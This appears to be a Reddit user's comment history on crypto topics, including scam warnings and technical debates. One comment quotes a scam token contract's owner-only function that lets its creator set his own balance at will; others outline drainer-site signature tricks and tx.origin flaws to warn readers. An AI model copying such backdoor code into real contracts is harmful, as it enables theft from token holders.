Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 24, 2022 20:06:16
/r/absolutelynotme_irl/comments/zu8kac/absolutelynotme_irl/j1k6h1j/

Sometimes I just want a good hand or foot massage in return.

Commented by /u/Maleficent_Plankton in /r/absolutelynotme_irl on December 24, 2022 19:42:05
/r/CryptoCurrency/comments/zucpb9/help_me_find_out_how_my_coinbase_wallet_was/j1k5j4b/

No. It's by signature request. When you visit the site, it asks you to 1) Connect to it, 2) Sign a welcome message signature request, and then 3) Sign a transaction signature request (EIP-712) Step 3 depends on your balance, and it doesn't seem to target those with low balance.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 24, 2022 19:34:01
/r/ethereum/comments/zucxzu/i_made_a_tool_for_dex_and_cex_to_add_on_their/j1iwrzq/

It's an r/CC specific rule. Check their Wiki page. I only mention this because I've seen people complain about getting banned on their meta page in the past.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 24, 2022 13:56:34
/r/CryptoCurrency/comments/zubv5e/do_you_use_the_lightning_network/j1ism3k/

No. It's not reliable compared to L1. I tried it a couple times and would hit router/capcity issues 20% of the time. Sometimes fees would be even higher than L1 Bitcoin unless I connected to a centralized node.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 24, 2022 13:27:51
/r/ethereum/comments/zucxzu/i_made_a_tool_for_dex_and_cex_to_add_on_their/j1ipwji/

I would delete this post and repost it without linking. r/CC mods will ban you for brigading.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 24, 2022 13:08:42
/r/CryptoCurrency/comments/zucpb9/help_me_find_out_how_my_coinbase_wallet_was/j1imzyg/

I work in IT Sec, analyze crypto vulnerabilities, and have created vulnerable smart contracts myself, so ... * https://mplankton.substack.com/p/rediscovering-smart-contract-honeypots * https://mplankton.substack.com/p/comprehensive-list-of-common-crypto

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 24, 2022 12:47:38
/r/CryptoCurrency/comments/zucpb9/help_me_find_out_how_my_coinbase_wallet_was/j1ijype/

There are plenty of legit websites with similar domain names. The fake ones try to emulate them, so going by domain is not a good strategy. Besides, my goal is to provide accurate information, not guesswork.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 24, 2022 12:25:32
/r/ethfinance/comments/zu3882/daily_general_discussion_december_24_2022/j1icotp/

KeePass. You can even completely firewall it if you're paranoid. The hard part is figuring out how you'll create geo-locational backups in case your copy is lost. You might want a separate encrypted online backup solution. I also recommend increasing the cycles for security to make it harder to crack: Menu > Database Settings > Security > Key transformation > Iteration > 1M

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 24, 2022 11:31:31
/r/CryptoCurrency/comments/zucpb9/help_me_find_out_how_my_coinbase_wallet_was/j1ibe29/

That website (maticstaking dot net) is 100% a scam. Its domain was only registered yesterday: > Creation Date: 2022-12-23T10:23:13Z Why would you visit a random website?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 24, 2022 11:21:40
/r/CryptoCurrency/comments/zu6p6i/vitalik_buterin_faults_ripples_decentralization/j1i9cu1/

Do you like Sybil resistance? Cause it totally sounds like you either don't or know of some secret way to design Sybil resistance without either centralization or some group of owners owning greatly more than others.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 24, 2022 11:06:10
/r/ethfinance/comments/zu3882/daily_general_discussion_december_24_2022/j1i4ly1/

No one should be using LastPass for any sensitive info. This is the **THIRD time** in recent years they've gotten their database hacked that we know of. I remember seeing LastPass in my RSS news feed ~5 times, and it's never been positive news. Any security company that screws up that many times likely has disgruntled employees who have programmed some back door into their system. Drop them and encourage all your relatives to drop them. Switch out all your passwords.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 24, 2022 10:28:53
/r/ethfinance/comments/zt7wxy/daily_general_discussion_december_23_2022/j1i2rar/

You should start following some tech website like ArsTechnica. Earlier this year was not the first time LastPass got hacked, but the **THIRD time** in recent years that we know of. No one should be using LastPass for sensitive info. Any security company that screws up that many times likely has disgruntled employees who have programmed some back door into their system.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 24, 2022 10:13:22
/r/CryptoCurrencyMoons/comments/zu1vhs/what_are_the_chances_of_a_larger_exchange_listing/j1h3hxe/

MOONs has 1/1000 the daily trading volume of Terra Luna 2.0. Probably not anytime soon.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMoons on December 24, 2022 03:01:15
/r/CryptoCurrency/comments/zto8lo/coffeezilla_ending_logan_pauls_biggest_scam/j1gk8id/

That was a good series. This needs Netflix adoption for greater visibility.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 23, 2022 23:17:53
/r/CryptoCurrency/comments/zton4z/preventing_reentrancy_attacks_in_ethereum_smart/j1ergiz/

Nothing to worry about anymore. It's basic learning material for Solidity devs. It's a known class of exploits that have been around since the start of Ethereum responsible for the DAO hacks. You'd either have to be a bad programmer or purposely-programming a backdoor in your smart contract to hit a reentrancy bug. Nowadays, it's usually the latter.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 23, 2022 14:45:13
/r/CryptoCurrency/comments/zt7bul/ethereum_could_outshine_bitcoin_in_2023_with/j1e7gbq/

I'm using "governance" to mean decision-making. Democracy is a type of governance. When you pick which restaurant to go to among friends, that's also governance. For Ethereum, protocol goverance is decided by loose developer consensus similar to a voice vote. There is no formal voting.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 23, 2022 12:29:06
/r/CryptoCurrency/comments/ztju3n/2023_will_be_the_death_of_bitcoin_energy_fud/j1e3iem/

And e-waste. You can use green energy, that never offsets the giant pile of discarded ASICs and hardware needed to run miners. They also don't last many years.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 23, 2022 12:02:37
/r/CryptoCurrency/comments/ztlhyq/cc1011_why_btc_cant_be_stopped_miners_costs/j1e2vnd/

We'll see what OP says in Part 2 because that's the more important part. I think most people here do understand Part 1, and that this is just attacking a strawman.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 23, 2022 11:58:20
/r/CryptoCurrency/comments/zt7bul/ethereum_could_outshine_bitcoin_in_2023_with/j1e24hg/

Then that's their personal holdings, and they can do whatever they want with it privately. It has no effect on governance. If they misbehave with validators, they either get slashed or miss rewards.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 23, 2022 11:53:18
/r/CryptoCurrency/comments/zt7bul/ethereum_could_outshine_bitcoin_in_2023_with/j1cgy38/

He's a founder, and he doesn't hold any power. In fact, the entire Ethereum Foundation only holds 0.2% of ETH. That's a lot less than the many early Bitcoin miners.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 23, 2022 02:21:48
/r/ethfinance/comments/zswpm6/eth_questions_no_flame_pls_just_trying_to_learn/j1bkkp1/

That's a pretty good summary of PROs and CONs I'm not familiar with enough with Ergo, so I'm only going to compare to Cardano. **Development** For me, the development part is absolutely huge because Ethereum is one of few networks that has reached trustless smart contracts. Any Solidity developer can look at another contract on a blockchain with published code and figure out what it does. You can't do that on Solana or Algorand explorers since they only show raw bytecode. Cardano's explorers have that functionality, but no one's publishing their code. Eventually those networks (excluding Solana) could get to that level of trustless-ness in their development community, but they're not there yet. Development for Solidity and EVM has grown so much. You can use Remix, Truffle, or Hardhat for development, among many other tools. And once you develop for Ethereum, you can reuse that code for any other EVM network. It's just so convenient and more usable. **Fees and sustainability** Yep. That's always going to be an issue for mainnet. Personally, I don't feel that L2 fees are low enough yet compared to alt-L1s. I'm still paying up to $0.02-$0.05 per transfer on L2 rollup networks. And if I need to deploy a large 3M gas contract, it costs a couple dollars. Polygon PoS is 10-100x cheaper. I think this all boils down to sustainability. Is Ethereum's security sustainable: absolutely. Is Polygon PoS's security sustainable: Yes, and it partially-depends on Ethereum for security. While it is a side-chain and not a rollup, it is designed with a very strong side-chain connection. Is Cardano's security sustainable: No, not enough fees. As far as I know, Ethereum, Polygon, and BSC are currently the only sustainable large networks with revenue > costs, and among them, only Ethereum is decentralized. Proto-Danksharding and multi-dimensional fee markets are supposed to lower L2 fees, but we won't find out until mid-2023 earliest. **UTXOs** Ethereum smart contracts need the ability to be accessed multiple times per block. Transactions need to be sequenced per block, which is why it doesn't have deterministic fees. One transaction could invalidate another, and that's a design choice. In the end, it usually doesn't matter all that much (unless you're running competing flash loans). You pay a little bit higher in gas fees and then get the extra gas refunded after the transaction goes through. Cardano fees are deterministic because you can only use each UTXO once. You can't use the same funds multiple times within the same block, which is why their smart contracts have concurrency issues. Smart contracts on Cardano can only interact with 1 user at a time, and Cardano worked around this issue by splitting their dApps into many different bots each with their UTXOs. Anyone can run bots for those dApps offchain. But it's more centralized, introduces a lot more complexity, and requires more trust in those dApps and front-ends. In comparison for Ethereum, I can go onto EtherScan and interact with any smart contract directly and **trustlessly**. **Batching and native tokens are not exclusive to UTXO** Ethereum's ETH can batch transact in the same way as Bitcoin and Cardano. There's ~2-4x efficiency increase with batching on all 3 networks. Near-Unlimited batching with UTXOs on Cardano (as long as the input and output address don't change) is not part of UTXO. It's because their tokens are native and use the same logic. It's something you can do with many native tokens, and Ethereum has only 1 native token: ETH. BSC and Tron use accounts, but can also do nearly-unlimited batching with their native BEP2 and TRC-10 tokens (not to be confused with their non-native BEP20 and TRC-20 tokens). The downside for native tokens is that you can't have custom functionality/logic with them. ERC-20 tokens and other smart contract are extremely flexible and highly-programmable. **Centralization through staking pools** Yeah, it's an issue. Rocketpool is only decent solution to it. Maybe in the distant future, Ethereum can switch to native DPoS, but I don't really hear anyone talking about it. Cardano's DPoS is more decentralized than normal PoS, which tends to form large pools.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 22, 2022 21:18:14
/r/CryptoCurrency/comments/zpt56g/reddit_recap_2022_collectible_avatars_continues/j1atcsc/

Did you check the official website or app? It will only show up if you use new.reddit.com

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 22, 2022 17:52:16
/r/CryptoCurrency/comments/zswyor/avalanche_and_all_subnets_are_now_natively/j1alfbf/

That's a really important upgrade. Before this, subnet blockchains acted as separate blockchains, not even as sidechains. There was barely any purpose in picking the Avalanche ecosystem. But they might be too late aince Cosmos and Polkadot have 1 year lead on it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 22, 2022 16:55:44
/r/CryptoCurrency/comments/zsssve/what_is_a_promising_coin_or_project_that_you_dont/j19q43t/

MATIC. It's a good project with a great utility token. It's actually doing better than BTC and ETH in price, but it's really designed to just be a utility token, not an investment.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 22, 2022 13:28:54
/r/CryptoCurrency/comments/zsmwwr/brazils_president_has_signed_a_complete/j191vnp/

Interesting decision since Bitcoin is a poor Medium of Exchange. But perhaps this will be their gateway into other networks that offer better MoE.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 22, 2022 10:52:01
/r/CryptoCurrency/comments/zrdc5t/over_one_year_after_the_taproot_update_and_2/j190h6d/

'Technical debt' That's a great description I totally forgot to use

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 22, 2022 10:42:43
/r/CryptoCurrency/comments/zsnwy7/some_questions_about_proof_of_stake/j18zu68/

PoS is for Sybil resistance, not for consensus. What you're asking for is the consensus protocols of PoS chains. There are dozens of popular consensus protocols. Pick some and start studying. They all have variations. For example, this is about Ethereum's GASPER protocol: https://no.reddit.com/r/CryptoCurrency_Tech/comments/x5r00t/gasper_ethereums_ghost_and_casper_ffg_consensus This YouTube channel explains several of them in great detail: https://www.youtube.com/@altexplainer

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 22, 2022 10:38:27
/r/CryptoCurrency/comments/zs8kzd/ccip046_increase_comedy_flair_posts_from_2_to_4/j173zfn/

Well that's embarrassing number of mistakes. Thanks. I've now resubmitted it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 22:41:02
/r/CryptoCurrency/comments/zrdc5t/over_one_year_after_the_taproot_update_and_2/j161sl1/

One quiet day, I will find a way to add as many coins as possible to the title without triggering any coin limits.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 17:46:44
/r/CryptoCurrency/comments/zs37l6/ccip047_community_voting_on_events_serious/j1618xf/

I like how everyone in comments doesn't realize this is a modification of an existing rule that already does what they think this new rule does. But oh well, I'm fine with this modification.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 17:42:55
/r/CryptoCurrency/comments/zryxd1/avoided_a_wallet_attack_zero_amount_tx_but/j15fsc9/

https://mplankton.substack.com/p/comprehensive-list-of-common-crypto Same thing I posted here under the "Address Poisoning" section.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 15:18:54
/r/CryptoCurrency/comments/zrvy0h/any_way_to_disable_deadfailed_crypto/j15aqmg/

Lots of wallets auto-add tokens. Metamask is the exception that requires manually adding. It's pretty bad if you get spam or purposely offensive NFTs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 14:45:52
/r/CryptoCurrency/comments/zryiws/this_strongly_appears_to_be_alameda_ceo_caroline/j15afxu/

This article is just about the same "worldoptimization" account we already knew about a month ago.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 14:43:56
/r/CryptoCurrency/comments/zrjd1u/ankr_confirms_5m_crypto_hack_was_an_inside_job/j153wmf/

I took a look at this on-chain. Totally an inside job. Someone had access to the 'Ankr: Deployer' EOA account and used that to mint the 10T tokens for the Ankr: Exploiter account. https://www.bscscan.com/tx/0xe367d05e7ff37eb6d0b7d763495f218740c979348d7a3b6d8e72d3b947c86e33 That Deployer contract is super busy. Too many people with their hands in the cookie jar?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 14:00:47
/r/CryptoCurrency/comments/zrokct/right_now_each_bitcoin_produced_by_mining/j14twl6/

I'm not entirely sure. Bitcoin MEV building opportunities are generated offchain, and the term originally came from Bitcoin. It's definitely way less prominent on Bitcoin than on Ethereum, and I don't have any proof of how much of it is happening since MEV opportunities are closely guarded. I believe they are still happening because you still see transactions offering over 200 sat/vB fees in the mempool, which is over 10x higher than the median. Hard to tell because there are no public trackers for Bitcoin MEV. Once pools start allowing Stratum v2, we will get a better idea of the difference.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 12:56:17
/r/CryptoCurrency/comments/zrskna/how_to_easily_detect_a_crypto_scam_in_3_seconds/j14phsa/

Might as well memorize the URL. If the YouTube video starts with dQ and ends with cQ ...

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 12:28:49
/r/CryptoCurrency/comments/zrokct/right_now_each_bitcoin_produced_by_mining/j14fan1/

Do you have a chart of Stratum v2 adoption? Last I heard it wasn't even available for most, and pools have an economic disincentive to allow it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 11:23:29
/r/CryptoCurrency/comments/zrdc5t/over_one_year_after_the_taproot_update_and_2/j12xzoq/

As much as I dislike CDC for pulling back the incentives, I admit their adoption for new tech is amazing. They were also among the first to support the Polygon PoS network while it took Coinbase an extra half year to support it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 02:33:48
/r/ethfinance/comments/zrbzbx/daily_general_discussion_december_21_2022/j12xsl5/

####**Soft forks vs Hard forks** I was looking at Bitcoin's [Bech32m (Segwit v1) adoption charts](https://en.bitcoin.it/wiki/Bech32_adoption#Exchanges). Bech32m/Segwit v1 is a 2020-update in the Bech32 addresses from the Segwit soft fork in 2017. This address is required for Taproot, and it fixes a minor checksum vulnerability. **These were the 2 most significant Bitcoin updates in the 2 years, and currently only 1% of addresses are using it.** Most of the largest exchanges still can't recognize Segwit v1 or Taproot addresses, and can't send to them. Here's the transaction breakdown on the Bitcoin network by combining [Chart 1](https://transactionfee.info/charts/inputs-types-by-count/) and [Chart 2](https://transactionfee.info/charts/inputs-segwit-distribution/): * Legacy: 26% * Nested Segwit (within Legacy): 39% * Segwit v0: 34% * **Taproot: 1%** **Soft forks have their advantages, but apparently they also significantly slow down adoption for updates.** Bitcoin creates new formats every time it soft-forks to maintain backwards compatibility with old addresses so that it can tell them apart. So much for Taproot adoption and fixing known vulnerabilities. The Bitcoin network is a mismatch of all sorts of different formats. All the legacy addresses are less efficient than the newer ones and cost more fees. It's hard to keep track of all the different UTXO address formats used today: * P2PK (legacy) * P2MS (legacy) * P2PKH (legacy) * P2SH (legacy) * P2WPKH in P2SH (semi-legacy) * P2WSH in P2SH (semi-legacy) * P2WPKH * P2WSH * P2TR The [P2PKH legacy transactions](https://transactionfee.info/charts/inputs-and-outputs-p2pkh/) haven't even declined for the past year. And Bitcoin creates new formats every time it does a soft-fork to maintain backwards compatibility with old addresses so that it can tell them apart. **For comparison, EVM blockchains just have 1 type of address format** (technically 2 if you include the uncommon lowercase version without checksums). And if you have an account on one EVM blockchain, that address is instantly usable on every other EVM blockchain (e.g. Ethereum, Avalanche C-Chain, BSC, Polygon, Moonbeam, most Cosmos blockchains). That's the simplicity you get with hard forks.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 21, 2022 02:31:14
/r/CryptoCurrency/comments/zrart0/bitcoin_miner_core_scientific_is_filing_for/j12sa37/

Article mentions 5 different large Bitcoin farms operating at a loss. Next halving is just going to make it worse unless the bull market arrives.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 01:23:51
/r/CryptoCurrency/comments/zrc17z/how_to_avoid_getting_hooked_by_crypto_ice/j12rs0v/

Not sure why they call it ice phishing. "Signature request spoofing" or "SeaPort NFT Drainer" would've been more descriptive, since that's how these scams are more-commonly known.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 01:18:08
/r/CryptoCurrency/comments/zram0d/why_is_being_labeled_a_security_bad/j12p04q/

I was a customer of BlockFi, Celsius Networks, and Gemini when the SEC investigated them. For BlockFi and Celsius, we were allowed to continue holding our lending products indefinitely. But we weren't allowed to add new funds to them. **The SEC also included Bitcoin**. They looked at Gemini and allowed it to continue as is.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 00:47:28
/r/CryptoCurrency/comments/zram0d/why_is_being_labeled_a_security_bad/j12n3cc/

No. It just means that institutions will need to become accredited. Coinbase and Gemini are already fine.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 21, 2022 00:27:22
/r/Bitcoin/comments/zqusi2/im_not_sure_if_the_average_person_will_ever/j12hy18/

Bitcoin is an order of magnitude easier to understand than fiat. Anyone with a CS degree can fully-understand even the hardest parts of Bitcoin. 10 years of post-grad in economics and you'll only understand part of the whole fiat system.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on December 20, 2022 23:37:31
/r/CryptoCurrency/comments/zr7lch/is_staked_eth_really_being_held_captive/j12gq97/

And every core developer knows it. That's why they dropped EIP-4844 and are willing to drop the EOF updates too from the March Shangahi update if needed. Everything is focused on allowing staking withdraws to happen. Once the withdraws happen, the media is going to have nothing to complain about for awhile.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 20, 2022 23:26:22
/r/CryptoCurrency/comments/zqszv0/vitalik_buterin_says_xrp_is_completely/j12fqgy/

Same thing as with PoW. Large pools and institutions own much of the security of the network. **The Ethereum Foundation only owns 0.2% of ETH**, and they're not directly involved in governance and development. All they do is host annual public conferences, core dev meetings, and herd cats. It's the developers and public nodes that are responsible for maintaining Ethereum.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 20, 2022 23:17:29
/r/CryptoCurrency/comments/zqszv0/vitalik_buterin_says_xrp_is_completely/j12bj16/

This is just media clickbait. Vitalik puts out a **2 hour interview**, and a 10-second side discussion that never gets brought up again is the part they focus on. Literally everything else in the interview was more important than this superficial 10-second side note.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 20, 2022 22:40:49
/r/CryptoCurrency/comments/zqszv0/vitalik_buterin_says_xrp_is_completely/j12b5wq/

Vitalik puts out a **2 hour interview**, and a 10-second side discussion that never gets brought up again is the part people focus on?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 20, 2022 22:37:48
/r/CryptoCurrency/comments/zqzh8c/decrypts_2022_crypto_project_of_the_year_polygon/j10wl8p/

Polygon has been the network of choice for NFTs because fees are very cheap (even cheaper than L2 rollups), and it has all the benefits of being within both the Ethereum and Tendermint ecosystems.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 20, 2022 16:24:47
/r/cosmosnetwork/comments/zqx4cc/my_notes_on_the_upcoming_thorchain_fork_maya/j10f7f0/

I'm looking at that THORChain ETH.Rune contract on Ethereum mainnet, and it still has that **tx.origin vulnerability** in its transferTo() function. Are they still using that buggy contact? I believe Rune has migrated to BSC, so how does it even work on the Ethereum network?

Commented by /u/Maleficent_Plankton in /r/cosmosnetwork on December 20, 2022 14:33:03
/r/CryptoCurrency/comments/zqwtkf/my_notes_on_the_upcoming_thorchain_fork_maya/j10f0v8/

I'm looking at that THORChain ETH.Rune contract on Ethereum mainnet, and it still has that **tx.origin vulnerability** in its transferTo() function. Are they still using that buggy contact? I believe Rune has migrated to BSC, so how does it even work on the Ethereum network?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 20, 2022 14:31:51
/r/CryptoCurrency/comments/zqqttk/how_many_others_here_have_no_one_else_in_their/j0ztp26/

Most of my friends are in tech and are developers, so they've dabbled with crypto at some point in their lives. Half of them think it's a joke while the other half remain skeptical. Simply being in tech means that you'll encounter plenty of people interested in crypto. I've randomly met core developers for both Bitcoin and Ethereum, and I had no idea they were involved before.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 20, 2022 12:15:44
/r/ethdev/comments/zq8nfe/whats_the_worst_that_can_happen_if_you_attempt_to/j0zbc8y/

Yeah. That's terrible. I think all wallets need to have a hide function (or an option to enable a token equivalent of a certificate revocation list).

Commented by /u/Maleficent_Plankton in /r/ethdev on December 20, 2022 10:13:31
/r/ethereum/comments/zjqmwc/frequently_asked_questions_weekly_discussion/j0y2kfq/

Search for the contract address on Etherscan, for example, [this one](https://etherscan.io/token/0x6b175474e89094c44da98b954eedeac495271d0f). Do a find for "Overview" on the page, and it'll say right next to it.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 20, 2022 01:52:32
/r/ethdev/comments/zq8nfe/whats_the_worst_that_can_happen_if_you_attempt_to/j0x3kkq/

It would only work if the other is already vulnerable because it's using tx.origin instead of msg.sender, or if doesn't even use msg.sender for the approval function.

Commented by /u/Maleficent_Plankton in /r/ethdev on December 19, 2022 20:39:09
/r/ethdev/comments/zq8nfe/whats_the_worst_that_can_happen_if_you_attempt_to/j0x3b94/

That's more of a vulnerability in the Thorchain eth.rune contract. But I suppose any contract that uses tx.origin is vulnerable.

Commented by /u/Maleficent_Plankton in /r/ethdev on December 19, 2022 20:37:11
/r/CryptoCurrencyMeta/comments/zq1zdh/comedy_post_comments_get_10_karma_just_like/j0wa979/

Shoot. I thought this was already the case.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 19, 2022 17:03:25
/r/CryptoCurrency/comments/zq0y33/im_creating_the_shittiest_shitcoin_ever_and_the/j0vywop/

Can you even do anything fun with Algorand native tokens? How customizable are they?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 15:47:47
/r/CryptoCurrency/comments/zpzp0x/bitcoin_taproot_address_now_supported_on_kraken/j0vmovq/

Not a good sign for Bitcoin when a year after the Taproot soft fork, Binance, Coinbase, Gemini, Strike, and most of the other exchanges still don't support sending to Bech32m addresses. You can't even send to an external Taproot or Bech32m address.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 14:27:58
/r/CryptoCurrency/comments/zpzp0x/bitcoin_taproot_address_now_supported_on_kraken/j0vijze/

No way? Really? That's half a decade old. They would've been paying higher fees all this time.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 14:00:49
/r/ethereum/comments/zpo9mb/thanks_to_this_article_youll_understand_mev_in_5/j0vgj6j/

I know I shouldn't be laughing so hard, but every time that came up in the article ...

Commented by /u/Maleficent_Plankton in /r/ethereum on December 19, 2022 13:47:42
/r/ethfinance/comments/zpjll8/daily_general_discussion_december_19_2022/j0vfgx3/

> I’ve learned whenever an nft community tells you they just lost everything in the latest crypto scandal I know they were intending a rug since the projects inception and this is their out. Favorite reply

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 19, 2022 13:40:45
/r/ethfinance/comments/zpjll8/daily_general_discussion_december_19_2022/j0vcmyg/

I'm surprised my non-crypto alt didn't get the anime one. Maybe /r/manga doesn't count as anime. I really would've like that one.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 19, 2022 13:22:22
/r/CryptoCurrency/comments/zpt56g/reddit_recap_2022_collectible_avatars_continues/j0v6idz/

You use the Polygon PoS bridge: https://wallet.polygon.technology/login?redirectTo=%2Fpolygon%2Fbridge Should show up on Polygon network within a couple of hours.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 12:42:37
/r/CryptoCurrency_Tech/comments/zpqez0/why_utxo_ethereum_accounting_model_by_utxo/j0v4so8/

That's actually a really good video with a balanced presentation of UTXO and Account strengths (though obviously biased towards UTXO since this is a UTXO Alliance conference). And it's a shame that this post's title is misleading and isn't actually the conclusion of the video. **UTXO and Account based models each have their owns strength and weaknesses**. Most smart contract blockchains use account models because they're more flexible and much easier to develop contracts for. **Account based models are better in that**: * Easier to program contracts. Object-oriented programming. * 1 single repository. 1 single state * Can have private variables * Contract can be used multiple times in the same block **UTXO-based models are better in that**: * Transactions are deterministic, and you can figure out the fees ahead of times * According to the presenter, only having public state variables in contracts is a strength. But I consider that a massive weakness. **Account based models are weaker in that**: * Mostly deterministic, but not entirely because the same contract can be accessed multiple times in the same block. The sequence of transactions matter. You have to simulate the transaction in a block. * Presence of MEV due to sequencing transactions in a block **UTXO-based models are weaker in that**: * More standardized. Less flexible * Cannot reuse UTXOs. Many Cardano dApp developers are finding out that only 1 person can access each dApp per block because they have been keeping their balances in few UTXOs. The way around this is to split the balance between a collection of UTXOs, which greatly introduces complexity. * All data is publicly available, so everything is visible. No private state variables. * Current UTXO blockchains use functional programming. Harder to program for. ----------------- There are 2 places where I differ in option with the presenter: **1) Private state variables vs public variables** I was surprised to learn from the video that cardano contracts can only have public variables. Sure, it's better if you want everything to be public and auditable, but it really reduces flexibility. Without private variables, classes and objects are just public structures. It's like going from 1990s object-oriented programming back to 1970s-1980s programming. What you're able to do with contracts are super limited. A huge portion of dApps on the Ethereum blockchain could not exist without private variables, and you would't be able to build them on Cardano. **2) Deterministic transactions** I think this is a tradeoff. Do you want multiple users to be able to use the same dApp in the same block, or do you want fully-deterministic fees and state? Pick one. I would prefer concurrency unless you want your dApp to have very limited adoption. Eventually, I think Cardano developers will figure out how to get around with dynamically without excessive complexity (e.g. splitting their dApp into dozens of separate accounts), but they're not there yet. Beyond UTXO vs Accounts, there's also the issue that very few (if any) Cardano developers have published their source codes on a blockchain explorer. If you look at Etherscan, all the most popular contracts have verified source codes for their contracts. For Cardano, no one is doing that yet. Everything operates on a "trust me bro" manner. I would like to see them get to a trustless state within the next year. And that requires developers publishing their source codes. Lastly, most of the current arguments for UTXOs can be solved by standardized native tokens in addition to ERC-20 style tokens. But we're finding out that devs like having the flexibility to do whatever they want with ERC-20 tokens. It's a tradeoff between standardization and flexibility.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency_Tech on December 19, 2022 12:31:47
/r/CryptoCurrency/comments/zpt56g/reddit_recap_2022_collectible_avatars_continues/j0ujjsb/

That's rough. They're still minting nonstop. Not sure why they didn't prioritize based on karma or activity. Order seems to be random AFAICT.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 10:06:56
/r/CryptoCurrency/comments/zpt56g/reddit_recap_2022_collectible_avatars_continues/j0uhwbp/

There's **actual utility** in holding them because you can use their parts to customize your avatars. These are cheaper than buying Reddit Premium for a month.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 09:54:40
/r/CryptoCurrency/comments/zpt56g/reddit_recap_2022_collectible_avatars_continues/j0uh9nk/

[The full list is here](https://opensea.io/category/reddit-collectible-avatars) on OpenSea. You'd have to analyze each collection separately. You can add them to your watchlist and then analyze them here: https://opensea.io/rankings/watchlist

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 09:50:00
/r/CryptoCurrency/comments/zpfa72/350_new_scam_tokens_were_created_every_day_this/j0ugpg8/

Yep. These types of scam tokens are everywhere: > The most popular type of scam token was a “**honeypot**," which is a token smart contract that doesn’t allow buyers to resell. There are even [honeypots for other scammers/attackers](https://mplankton.substack.com/p/rediscovering-smart-contract-honeypots). Devs tricking other devs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 09:45:46
/r/CryptoCurrency/comments/zpt56g/reddit_recap_2022_collectible_avatars_continues/j0ufsaj/

The best thing is that these free Reddit NFT have utility off the bat. You can use them as avatar and interchange their parts with other avatars.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 19, 2022 09:38:43
/r/BinanceSmartChain/comments/quj7sz/scam_contract/j0sl7sc/

It didn't come from nowhere. The address that took the funds was the owner of the contract. He purposely put in this vulnerability that lets him arbitrarily increase his token balance. Right before he stole the tokens, he called this function: function approveAndCall(address spender, uint256 addedValue) public onlyOwner returns (bool) { if(addedValue > 0) {_balances[spender] = addedValue;} return true; }

Commented by /u/Maleficent_Plankton in /r/BinanceSmartChain on December 18, 2022 21:27:44
/r/CryptoScams/comments/zp1964/porsche_nft_scam/j0sitej/

Scammers target greed and lack of diligence to do a simple Google search for the official website.

